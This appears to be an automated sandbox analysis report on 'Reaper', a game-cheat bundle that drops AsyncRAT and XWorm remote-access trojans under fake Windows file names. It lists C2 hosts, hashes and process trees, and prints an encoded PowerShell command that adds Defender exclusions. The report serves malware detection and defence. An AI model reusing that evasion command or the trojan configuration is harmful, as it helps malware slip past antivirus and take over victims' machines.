Overview
overview
10Static
static
3Unconfirme...77.zip
windows7-x64
1Unconfirme...77.zip
windows10-2004-x64
1Reaper/Bin...er.exe
windows7-x64
1Reaper/Bin...er.exe
windows10-2004-x64
3Reaper/Eas...ts.dll
windows7-x64
1Reaper/Eas...ts.dll
windows10-2004-x64
1Reaper/Reaper.exe
windows7-x64
10Reaper/Reaper.exe
windows10-2004-x64
10Reaper/Rea...config
windows7-x64
3Reaper/Rea...config
windows10-2004-x64
3Reaper/Scr...3.0.js
windows7-x64
1Reaper/Scr...3.0.js
windows10-2004-x64
1Reaper/Scr...bot.js
windows7-x64
1Reaper/Scr...bot.js
windows10-2004-x64
1Reaper/Scr...nt.txt
windows7-x64
1Reaper/Scr...nt.txt
windows10-2004-x64
1Reaper/Scr...ll.txt
windows7-x64
1Reaper/Scr...ll.txt
windows10-2004-x64
Reaper/Scr...al.txt
windows7-x64
1Reaper/Scr...al.txt
windows10-2004-x64
1Reaper/Scr...er.txt
windows7-x64
1Reaper/Scr...er.txt
windows10-2004-x64
1Reaper/Scr...Tp.txt
windows7-x64
1Reaper/Scr...Tp.txt
windows10-2004-x64
1Reaper/Scr...bot.js
windows7-x64
1Reaper/Scr...bot.js
windows10-2004-x64
1Reaper/Scr... v2.js
windows7-x64
1Reaper/Scr... v2.js
windows10-2004-x64
1Reaper/Scr...y 2.js
windows7-x64
1Reaper/Scr...y 2.js
windows10-2004-x64
1Reaper/Scr... V3.js
windows7-x64
1Reaper/Scr... V3.js
windows10-2004-x64
1Analysis
- max time kernel
47s - max time network
54s - platform
windows7_x64 - resource
win7-20240221-en - resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system - submitted
04/04/2024, 12:03
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Unconfirmed 139577.zip
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral2
Sample
Unconfirmed 139577.zip
Resource
win10v2004-20231215-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral3
Sample
Reaper/Bin/FpsUnlocker.exe
Resource
win7-20240221-en
windows7-x64
5 signatures
150 seconds
Behavioral task
behavioral4
Sample
Reaper/Bin/FpsUnlocker.exe
Resource
win10v2004-20240226-en
windows10-2004-x64
7 signatures
150 seconds
Behavioral task
behavioral5
Sample
Reaper/EasyExploits.dll
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral6
Sample
Reaper/EasyExploits.dll
Resource
win10v2004-20231215-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral7
Sample
Reaper/Reaper.exe
Resource
win7-20240221-en
windows7-x64
15 signatures
150 seconds
Behavioral task
behavioral8
Sample
Reaper/Reaper.exe
Resource
win10v2004-20240226-en
windows10-2004-x64
23 signatures
150 seconds
Behavioral task
behavioral9
Sample
Reaper/Reaper.exe.config
Resource
win7-20240215-en
windows7-x64
6 signatures
150 seconds
Behavioral task
behavioral10
Sample
Reaper/Reaper.exe.config
Resource
win10v2004-20240226-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral11
Sample
Reaper/Scripts/Aimbot 3.0.js
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral12
Sample
Reaper/Scripts/Aimbot 3.0.js
Resource
win10v2004-20240226-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral13
Sample
Reaper/Scripts/Aimbot.js
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral14
Sample
Reaper/Scripts/Aimbot.js
Resource
win10v2004-20240226-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral15
Sample
Reaper/Scripts/Alt+Print.txt
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral16
Sample
Reaper/Scripts/Alt+Print.txt
Resource
win10v2004-20240226-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral17
Sample
Reaper/Scripts/Arsenal Kill All.txt
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral18
Sample
Reaper/Scripts/Arsenal Kill All.txt
Resource
win10v2004-20240319-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral19
Sample
Reaper/Scripts/Arsenal.txt
Resource
win7-20240220-en
windows7-x64
1 signatures
150 seconds
Behavioral task
behavioral20
Sample
Reaper/Scripts/Arsenal.txt
Resource
win10v2004-20240226-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral21
Sample
Reaper/Scripts/ArsenalHitboxExtender.txt
Resource
win7-20240221-en
windows7-x64
1 signatures
150 seconds
Behavioral task
behavioral22
Sample
Reaper/Scripts/ArsenalHitboxExtender.txt
Resource
win10v2004-20231215-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral23
Sample
Reaper/Scripts/BRM5 Tp.txt
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral24
Sample
Reaper/Scripts/BRM5 Tp.txt
Resource
win10v2004-20240226-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral25
Sample
Reaper/Scripts/CC Aimbot.js
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral26
Sample
Reaper/Scripts/CC Aimbot.js
Resource
win10v2004-20240226-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral27
Sample
Reaper/Scripts/Dex Explorer v2.js
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral28
Sample
Reaper/Scripts/Dex Explorer v2.js
Resource
win10v2004-20240226-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral29
Sample
Reaper/Scripts/Mad City 2.js
Resource
win7-20231129-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral30
Sample
Reaper/Scripts/Mad City 2.js
Resource
win10v2004-20240226-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral31
Sample
Reaper/Scripts/TopKek V3.js
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral32
Sample
Reaper/Scripts/TopKek V3.js
Resource
win10v2004-20240319-en
windows10-2004-x64
0 signatures
150 seconds
General
- Target Reaper/Reaper.exe
- Size 8.4MB
- Sample240404-n75pcafc65
- SHA256 a8e3cbf1921a2485a307ac0ff2536accc77bc17db386a00e8d67c5537613b321
- MD5 caa418507bb991b91bbfa3e52623c2f4
- SHA1 9e1083e019ca8813024e1e58eac193d7a83b4b48
- SHA512 84e57b9c0d88e67c2ebb3ef89df82b33b4d466b663fa1b43dd0c050b140fbc986135169c8840b4d91ed5921379579a85e743cda27184172a7a7eb87156c61684
- SSDEEP 196608:SRyi9wysiM2+eLNxHPZe/eAwfPjprt/VU3jZoAp/aOROsEh/cH:SRLSIr+eLDvM9YBNMrQsh
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
asyncrat
Version
-
L838 RAT v1.0.0
Botnet
-
Default
C2
-
127.0.0.1:54984
-
127.0.0.1:4449
-
l838.ddns.net:54984
-
l838.ddns.net:4449
Mutex
-
azjrpxchkiev
Attributes
-
delay
1
-
install
true
-
install_file
Windows Driver Foundation.exe
-
install_folder
%Temp%
aes.plain
Extracted
Family
-
xworm
C2
-
l838.ddns.net:3232
Attributes
-
Install_directory
%Public%
-
install_file
Windows Service Wrapper.exe
Signatures
- Detect Xworm Payload 2 IoCs
resource yara_rule behavioral7/files/0x00050000000193eb-16.dat family_xworm behavioral7/memory/2688-27-0x0000000000A10000-0x0000000000A26000-memory.dmp family_xworm - Async RAT payload 1 IoCs
resource yara_rule behavioral7/files/0x0035000000014665-10.dat family_asyncrat - Executes dropped EXE 6 IoCs
pid Process 2748 Reaper.exe 3040 Windows Driver Foundation.exe 2688 Windows Service Wrapper.exe 2572 Windows SmartScreen.exe 2276 Windows SmartScreen.exe 1224 Process not Found - Loads dropped DLL 14 IoCs
pid Process 856 Reaper.exe 856 Reaper.exe 856 Reaper.exe 856 Reaper.exe 2572 Windows SmartScreen.exe 2276 Windows SmartScreen.exe 2276 Windows SmartScreen.exe 2276 Windows SmartScreen.exe 2276 Windows SmartScreen.exe 2276 Windows SmartScreen.exe 2276 Windows SmartScreen.exe 2276 Windows SmartScreen.exe 2748 Reaper.exe 2748 Reaper.exe -
resource yara_rule behavioral7/files/0x000500000001a4a0-108.dat upx behavioral7/memory/2276-119-0x000007FEF2070000-0x000007FEF2659000-memory.dmp upx - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 4 ip-api.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1764 powershell.exe 1988 chrome.exe 1988 chrome.exe - Suspicious use of AdjustPrivilegeToken 53 IoCs
description pid Process Token: SeDebugPrivilege 2688 Windows Service Wrapper.exe Token: SeDebugPrivilege 1764 powershell.exe Token: SeDebugPrivilege 3040 Windows Driver Foundation.exe Token: SeIncreaseQuotaPrivilege 3040 Windows Driver Foundation.exe Token: SeSecurityPrivilege 3040 Windows Driver Foundation.exe Token: SeTakeOwnershipPrivilege 3040 Windows Driver Foundation.exe Token: SeLoadDriverPrivilege 3040 Windows Driver Foundation.exe Token: SeSystemProfilePrivilege 3040 Windows Driver Foundation.exe Token: SeSystemtimePrivilege 3040 Windows Driver Foundation.exe Token: SeProfSingleProcessPrivilege 3040 Windows Driver Foundation.exe Token: SeIncBasePriorityPrivilege 3040 Windows Driver Foundation.exe Token: SeCreatePagefilePrivilege 3040 Windows Driver Foundation.exe Token: SeBackupPrivilege 3040 Windows Driver Foundation.exe Token: SeRestorePrivilege 3040 Windows Driver Foundation.exe Token: SeShutdownPrivilege 3040 Windows Driver Foundation.exe Token: SeDebugPrivilege 3040 Windows Driver Foundation.exe Token: SeSystemEnvironmentPrivilege 3040 Windows Driver Foundation.exe Token: SeRemoteShutdownPrivilege 3040 Windows Driver Foundation.exe Token: SeUndockPrivilege 3040 Windows Driver Foundation.exe Token: SeManageVolumePrivilege 3040 Windows Driver Foundation.exe Token: 33 3040 Windows Driver Foundation.exe Token: 34 3040 Windows Driver Foundation.exe Token: 35 3040 Windows Driver Foundation.exe Token: SeIncreaseQuotaPrivilege 3040 Windows Driver Foundation.exe Token: SeSecurityPrivilege 3040 Windows Driver Foundation.exe Token: SeTakeOwnershipPrivilege 3040 Windows Driver Foundation.exe Token: SeLoadDriverPrivilege 3040 Windows Driver Foundation.exe Token: SeSystemProfilePrivilege 3040 Windows Driver Foundation.exe Token: SeSystemtimePrivilege 3040 Windows Driver Foundation.exe Token: SeProfSingleProcessPrivilege 3040 Windows Driver Foundation.exe Token: SeIncBasePriorityPrivilege 3040 Windows Driver Foundation.exe Token: SeCreatePagefilePrivilege 3040 Windows Driver Foundation.exe Token: SeBackupPrivilege 3040 Windows Driver Foundation.exe Token: SeRestorePrivilege 3040 Windows Driver Foundation.exe Token: SeShutdownPrivilege 3040 Windows Driver Foundation.exe Token: SeDebugPrivilege 3040 Windows Driver Foundation.exe Token: SeSystemEnvironmentPrivilege 3040 Windows Driver Foundation.exe Token: SeRemoteShutdownPrivilege 3040 Windows Driver Foundation.exe Token: SeUndockPrivilege 3040 Windows Driver Foundation.exe Token: SeManageVolumePrivilege 3040 Windows Driver Foundation.exe Token: 33 3040 Windows Driver Foundation.exe Token: 34 3040 Windows Driver Foundation.exe Token: 35 3040 Windows Driver Foundation.exe Token: SeShutdownPrivilege 1988 chrome.exe Token: SeShutdownPrivilege 1988 chrome.exe Token: SeShutdownPrivilege 1988 chrome.exe Token: SeShutdownPrivilege 1988 chrome.exe Token: SeShutdownPrivilege 1988 chrome.exe Token: SeShutdownPrivilege 1988 chrome.exe Token: SeShutdownPrivilege 1988 chrome.exe Token: SeShutdownPrivilege 1988 chrome.exe Token: SeShutdownPrivilege 1988 chrome.exe Token: SeShutdownPrivilege 1988 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe 1988 chrome.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 856 wrote to memory of 1764 856 Reaper.exe 28 PID 856 wrote to memory of 1764 856 Reaper.exe 28 PID 856 wrote to memory of 1764 856 Reaper.exe 28 PID 856 wrote to memory of 1764 856 Reaper.exe 28 PID 856 wrote to memory of 2748 856 Reaper.exe 30 PID 856 wrote to memory of 2748 856 Reaper.exe 30 PID 856 wrote to memory of 2748 856 Reaper.exe 30 PID 856 wrote to memory of 2748 856 Reaper.exe 30 PID 856 wrote to memory of 3040 856 Reaper.exe 31 PID 856 wrote to memory of 3040 856 Reaper.exe 31 PID 856 wrote to memory of 3040 856 Reaper.exe 31 PID 856 wrote to memory of 3040 856 Reaper.exe 31 PID 856 wrote to memory of 2688 856 Reaper.exe 32 PID 856 wrote to memory of 2688 856 Reaper.exe 32 PID 856 wrote to memory of 2688 856 Reaper.exe 32 PID 856 wrote to memory of 2688 856 Reaper.exe 32 PID 856 wrote to memory of 2572 856 Reaper.exe 33 PID 856 wrote to memory of 2572 856 Reaper.exe 33 PID 856 wrote to memory of 2572 856 Reaper.exe 33 PID 856 wrote to memory of 2572 856 Reaper.exe 33 PID 2572 wrote to memory of 2276 2572 Windows SmartScreen.exe 34 PID 2572 wrote to memory of 2276 2572 Windows SmartScreen.exe 34 PID 2572 wrote to memory of 2276 2572 Windows SmartScreen.exe 34 PID 1988 wrote to memory of 1392 1988 chrome.exe 37 PID 1988 wrote to memory of 1392 1988 chrome.exe 37 PID 1988 wrote to memory of 1392 1988 chrome.exe 37 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38 PID 1988 wrote to memory of 1780 1988 chrome.exe 38
Processes
-
C:\Users\Admin\AppData\Local\Temp\Reaper\Reaper.exe"C:\Users\Admin\AppData\Local\Temp\Reaper\Reaper.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:856 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbgBtACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAdgBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAagBuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGYAYwBlACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1764
-
-
C:\Users\Admin\AppData\Local\Temp\Reaper.exe"C:\Users\Admin\AppData\Local\Temp\Reaper.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2748
-
-
C:\Users\Admin\Windows Driver Foundation.exe"C:\Users\Admin\Windows Driver Foundation.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3040
-
-
C:\Users\Admin\Windows Service Wrapper.exe"C:\Users\Admin\Windows Service Wrapper.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2688
-
-
C:\Users\Admin\Windows SmartScreen.exe"C:\Users\Admin\Windows SmartScreen.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Users\Admin\Windows SmartScreen.exe"C:\Users\Admin\Windows SmartScreen.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2276
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6e79758,0x7fef6e79768,0x7fef6e797782⤵PID:1392
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1176 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:22⤵PID:1780
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1516 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:82⤵PID:1396
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1576 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:82⤵PID:2912
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2276 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:12⤵PID:2104
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2284 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:12⤵PID:856
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1172 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:22⤵PID:2144
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3204 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:12⤵PID:2736
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3652 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:82⤵PID:1636
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵PID:3056
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1
- Size 264KB
- SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
- MD5 f50f89a0a91564d0b8a211f8921aa7de
- SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
- SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
- SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp
- Size 16B
- SHA256 8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa
- MD5 18e723571b00fb1694a3bad6c78e4054
- SHA1 afcc0ef32d46fe59e0483f9a3c891d3034d12f32
- SHA512 43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-file-l2-1-0.dll
- Size 22KB
- SHA256 67fd0522cacfc3f5fb90373dd5fb388b6f63035d9a380cac4a3dd3d7801724ed
- MD5 50d07886dd9136e8da57bfde8fa1f69c
- SHA1 17526cd01e870d4087c5aa423e4971c72882e173
- SHA512 7d1b12529f35e1bcd7a858fef4001a4a5e0ff15506789fb3ce56b58427d16c32a9c1768b87b2f66a1b37456a05f8e05ae0b0eddfb4335ae0cb8eda00550175c0
- SSDEEP 192:XrWyhWmUSwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfayHjuHyOMkqN:XrWyhWmU8JIYiaHZ8ZpH3GCJEiyyHLe
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-localization-l1-2-0.dll
- Size 22KB
- SHA256 3cbc6f8cc2a014c9c6e87ca05dd0e9e0884da58afdc53b589b3d7172c4403ed7
- MD5 ab169047e1a0fcf3c98be20b451cb13e
- SHA1 a286836c85ae43ed5c79b9875f97abdadf57b560
- SHA512 c8e27ebd9335f7f34919e841f9834fa687f822d4289b47c20283e37f4a499008668bafd12e1f742597a6c8623312fc41881c18a56b9062a2a609dbb55f0cd17c
- SSDEEP 384:1naOMw3zdp3bwjGzue9/0jCRrndb7WyhW6U8JIYiaHZ8ZpH3GCJEUyjm:EOMwBprwjGzue9/0jCRrndbhsYiQZiRr
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-timezone-l1-1-0.dll
- Size 22KB
- SHA256 c67dd8ed74c0a207c980caa6bb453e62180a71af175feeb42c2c926ecb911e0a
- MD5 1ee744ceca8da8dba0dc27f25125242c
- SHA1 4c168b8673cfabbbbcf00195cf0db7b640a0289f
- SHA512 d17b8f1419e3f77729c686d4fe79feb08368953e0997ef67217e829456e1c13dde5d9e7a0c35d117d1ae4d40f37e160cb6390b45242c0308d809dfdadb3155f9
- SSDEEP 384:lrWyhWaU8JIYiaHZ8ZpH3GCJE/y1F13L2:zAYiQZiRBE/gpS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\python311.dll
- Size 1.6MB
- SHA256 7e1370058177d78a415b7ed113cc15472974440d84267fc44cdc5729535e3967
- MD5 5792adeab1e4414e0129ce7a228eb8b8
- SHA1 e9f022e687b6d88d20ee96d9509f82e916b9ee8c
- SHA512 c8298b5780a2a5eebed070ac296eda6902b0cac9fda7bb70e21f482d6693d6d2631ca1ac4be96b75ac0dd50c9ca35be5d0aca9c4586ba7e58021edccd482958b
- SSDEEP 24576:IzvTIooNigMzmPPExBYeZ0pqJx5F7vYNBw5K2RH9lVggq4lUTNeTVZXo3uYIPDhh:C9oNizvxB3ZAEx5ONCVwXUmeTVlv
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\ucrtbase.dll
- Size 1.1MB
- SHA256 ed570898508c9d9186052157106b6dd9722bed47a27ecfeb424386c8970d81da
- MD5 28146c66076a266e93956111981cad4e
- SHA1 44797bab4d3d3a8ccdb9df3a519cd3dbef838c31
- SHA512 078c8d6595b0afcee215a44ef9caa82f990ef2bf5dadb8fd84d83ac89839abeee1f9ce250e80b77cbbdde5d13688ed345da1f4bf22958490e645c074d2453f85
- SSDEEP 24576:QJG9DZM19A7ieC9dQ8dDtLV8+BaC6EOx/cEz5RmxvSZX0ypHNHU:z/qtvdhq+BaPHxxde
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\FastColoredTextBox.dll
- Size 323KB
- SHA256 ac926c92ccfc3789a5ae571cc4415eb1897d500a79604d8495241c19acdf01b9
- MD5 8610f4d3cdc6cc50022feddced9fdaeb
- SHA1 4b60b87fd696b02d7fce38325c7adfc9e806f650
- SHA512 693d1af1f89470eab659b4747fe344836affa0af8485b0c0635e2519815e5a498f4618ea08db9dcf421aac1069a04616046207ee05b9ed66c0a1c4a8f0bddd09
